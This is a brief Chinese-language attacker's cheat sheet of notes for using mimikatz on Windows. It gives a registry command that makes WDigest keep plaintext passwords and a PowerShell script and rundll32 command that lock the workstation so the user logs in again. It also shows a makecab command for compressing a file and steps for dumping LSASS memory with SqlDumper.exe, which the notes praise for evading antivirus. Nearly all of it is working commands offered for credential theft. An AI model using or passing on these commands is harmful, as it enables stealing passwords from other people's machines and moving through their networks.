mimikatz注意事项

修改注册表让Wdigest Auth保存明文口令

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

lockscreen.ps1

Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

执行: powershell -file lockscreen.ps1

锁屏CMD

rundll32.exe user32.dll,LockWorkStation

压缩文件

makecab /d compressiontype=lzx c:\1.txt c:\1.rar

SqlDumper with mimikatz

SqlDumper.exe是从SQL Server安装目录下提取出来的，功能和prodump相似，具备一定免杀能力。SqlDumper.exe默认存放在c:\Program Files\Microsoft SQL Server\number\shared。

tasklist /svc |findstr lsass.exe
sqldumper.exe processID